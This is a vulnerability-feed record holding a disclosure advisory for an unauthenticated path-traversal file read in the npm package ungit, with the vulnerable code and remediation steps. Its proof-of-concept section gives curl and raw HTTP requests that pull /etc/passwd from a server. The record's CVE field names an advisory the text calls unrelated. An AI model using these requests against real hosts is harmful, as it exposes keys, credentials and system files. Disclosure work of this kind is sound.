{"uuid": "8f3e4148-6eec-4ca3-82a3-3792dfc61132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-25766", "type": "seen", "source": "https://gist.github.com/sandh0t/c90fa97b087db012f816b8cb67a68ff3", "content": "## Unauthenticated arbitrary file read in ungit via the /api/diff/image endpoint\n\n| | |\n|---|---|\n| **Package** | [`ungit`](https://www.npmjs.com/package/ungit) (npm) |\n| **Repository** | https://github.com/FredrikNoren/ungit |\n| **Affected** | All versions up to and including `1.5.30` (latest; commit `a7aeb74`, 2026-05-31) |\n| **Vulnerability** | Arbitrary File Read / Path Traversal |\n| **Authentication** | **None required** by default |\n| **CWE** | [CWE-22](https://cwe.mitre.org/data/definitions/22.html) / [CWE-23](https://cwe.mitre.org/data/definitions/23.html) \u2014 Improper Limitation of a Pathname to a Restricted Directory |\n| **Severity** | High (CVSS:3.1 `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` = **7.5**) |\n\n\n### Summary\n\nungit is a web-based UI for git. Its HTTP API exposes `GET /api/diff/image`, which serves a file built from two attacker-controlled query parameters (`path` and `filename`) with **no restriction to the repository working tree**. The endpoint is **unauthenticated by default**, so anyone who can reach the server can read arbitrary files from the host filesystem (e.g. `/etc/passwd`, SSH keys, application secrets) with the privileges of the ungit process.\n\n### Details\n\nThe route handler joins `req.query.path` and `req.query.filename` and passes the result straight to `res.sendFile()`:\n\n```js\nres.sendFile(path.join(req.query.path, req.query.filename));\n```\n\nBecause `path.join('/etc', 'passwd')` yields the absolute path `/etc/passwd`, an attacker fully controls which file is served. The two middlewares on the route do **not** prevent this:\n\n- `ensureAuthenticated` is a **no-op** by default \u2014 ungit ships with `config.authentication = false`, so the guard is replaced by `(req, res, next) =&gt; next()`.\n- `ensurePathExists` only runs `fs.access(req.query.path)` \u2014 a *directory-exists* check, **not** a traversal/containment guard. `/etc` exists, so the check passes.\n\nThere is no canonicalization, no `..` rejection, and no check that the resolved path stays within the served repository. The `version !== 'current'` branch (`gitPromise.binaryFileContent`) is similarly fed the attacker-controlled `path`/`filename`. The route is a `GET` with no Origin/CSRF check, so a localhost-only instance is additionally reachable via DNS-rebinding from a victim's browser.\n\n### PoC\n\n1. Install and start ungit in its default configuration\n\n   ```bash\n   npm install -g ungit\n   ungit --no-launchBrowser        # serves http://127.0.0.1:8448\n   ```\n\n\n2. As an unauthenticated attacker, request any absolute path. using below request:\n\n   ```bash\n   curl 'http://127.0.0.1:8448/api/diff/image?path=/etc&amp;filename=passwd&amp;version=current'\n   ```\n\n3. Observe the contents of an arbitrary host file in the response:\n\n   ```\n   % curl 'http://127.0.0.1:8448/api/diff/image?path=/etc&amp;filename=passwd&amp;version=current'\n   root:x:0:0:root:/root:/bin/bash\n   daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n   bin:x:2:2:bin:/bin:/usr/sbin/nologin\n   ...\n   ```\n\n\n4 **Raw HTTP request** (Burp Repeater):\n  ```http\n  GET /api/diff/image?path=/etc&amp;filename=passwd&amp;version=current HTTP/1.1\n  Host: TARGET:8448\n  Accept: */*\n  Connection: close\n\n\n  ```\n\n\n### Vulnerable code\n\n`source/git-api.js`:\n\n```js\n// :21 \u2014 auth guard is a pass-through unless authentication is enabled (default: off)\nconst ensureAuthenticated = env.ensureAuthenticated || ((req, res, next) =&gt; next());\n\n// :162 \u2014 \"path exists\" check only; NOT a traversal/containment guard\nconst ensurePathExists = (req, res, next) =&gt; {\n  fs.access(req.query.path || req.body.path)\n    .then(() =&gt; { next(); })\n    .catch(() =&gt; {\n      res.status(400).json({ error: `'No such path: ${path}`, errorCode: 'no-such-path' });\n    });\n};\n\n// :368 \u2014 both guards are ineffective; path+filename are attacker-controlled\napp.get(`${exports.pathPrefix}/diff/image`, ensureAuthenticated, ensurePathExists, (req, res) =&gt; {\n  res.type(path.extname(req.query.filename));\n  if (req.query.version !== 'current') {\n    gitPromise.binaryFileContent(req.query.path, req.query.filename, req.query.version, res); // also attacker-pathed\n  } else {\n    res.sendFile(path.join(req.query.path, req.query.filename));   // &lt;-- arbitrary file read, no root restriction\n  }\n});\n```\n\n### Impact\n\n**Unauthenticated arbitrary file read.** Any party able to reach the ungit HTTP port can read any file the ungit process can access \u2014 system files (`/etc/passwd`, `/etc/shadow` if run as root), SSH private keys, cloud credentials, `.env`/config secrets, and source code. ungit is a developer tool frequently run on workstations and CI hosts; on a localhost-only install the same read is reachable via DNS-rebinding from a malicious web page. The leaked material (keys/tokens) commonly enables follow-on compromise.\n\n### Remediation\n\n- **Confine the served path to the repository working tree.** Resolve the join, `realpath` it, and verify it stays inside the repo root before serving:\n- **Reject path-traversal input** \u2014 deny absolute `filename` values and any segment containing `..`.\n- **Add an Origin/Host allowlist (anti-DNS-rebinding)** for the API, since these are `GET`s with no CSRF protection, and consider enabling authentication by default.\n\n### References\n\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- OWASP Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal\n- Express `res.sendFile` (use the `root` option to confine): https://expressjs.com/en/api.html#res.sendFile\n- DNS rebinding attacks: https://en.wikipedia.org/wiki/DNS_rebinding\n- Existing (unrelated) ungit advisory \u2014 CVE-2022-25766 (argument-injection RCE): https://github.com/advisories/GHSA-hf8c-xr89-vfm5\n\n### Author\n\nAyoub Safa ([@sandh0t](https://github.com/sandh0t))", "creation_timestamp": "2026-06-14T13:12:45.000000Z"}